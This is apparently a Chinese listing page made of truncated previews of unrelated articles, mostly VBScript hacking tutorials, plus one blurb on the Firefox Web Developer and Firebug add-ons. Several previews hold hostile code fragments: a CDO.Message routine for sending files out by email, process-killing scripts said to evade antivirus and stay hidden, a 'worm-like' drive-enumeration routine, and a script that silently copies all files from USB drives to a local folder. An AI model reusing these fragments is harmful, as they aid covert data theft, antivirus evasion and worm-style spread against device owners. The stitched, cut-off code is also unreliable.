大家好啊,又見面啦,會不會想起我啦?我可是很想大家的 寫vb指令碼也寫啦幾篇啦,不知道大家有收穫沒拉 我還是希望大家學到多多的東西啦 這篇帶來的是關於cdo.message組建的利用的,目的是為了上傳檔案啦,嘿嘿ie,看來我說啦很多廢話 具體的功能還是看下面代碼的分析吧! sub send_email(myaccount,mypassword,toemail,emailtopic,emailbody,emailattach) '自訂一個過程括弧裡面的是形參 dim cmdnum,i
Web Developer是一個適用於 Firefox, Flock and Seamonkey的Add-on,支援Windows, Mac OS X 和 Linux作業系統。他允許開發人員線上對網頁的css和圖片,表格等元素進行線上開發和調試。Web開發人員強烈建議使用。Web Developer Firebug 為你的 Firefox 整合了瀏覽網頁的同時隨手可得的豐富開發工具。你可以對任何網頁的 CSS、HTML 和 JavaScript 進行即時編輯、調試和監控…Firebug 1
今天下午沒課,躲進私人空間開始思考些問題。在瀏覽VBS相關案例時,自己寫了兩個小程式出來,有Hack性質的(其實只要能“借刀殺人”,什麼軟體沒駭客性質?- -!)。Kill.vbs用來在cmd下結束進程,Dis.vbs用來在視窗模式下防止某進程再次啟動。這兩個VBS都不會被殺毒軟體KILL掉,並且有一定的隱蔽性……看代碼!('為注釋) Kill.vbs: for each ps in getobject _
將以下代碼複製到記事本裡並儲存為rots.vbs on error resume next set utstreem=wscript.stdout set instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then set bjShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript. /
文章標題之所以稱為類蠕蟲,是因為攻擊代碼 即主題代碼還沒實現 sub yitiaolong() '定義一條龍過程 on error resume next '這裡是防止沒有發現匹配裝置時而報錯 dim drivearray '初始化陣列變數 dim drive '磁碟機控制代碼變數 dim strarray
多的不說,會用的各位測試~ fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with
Dim udisk, disks, s Set fso = CreateObject("Scripting.FileSystemObject") Set disks = fso.Drives For Each udisk In disks s = udisk.DriveLetter If fso.GetDrive(s & ":").DriveType = 1 Then fso.CopyFile s & ":\*", "D:\biweilun's Files", True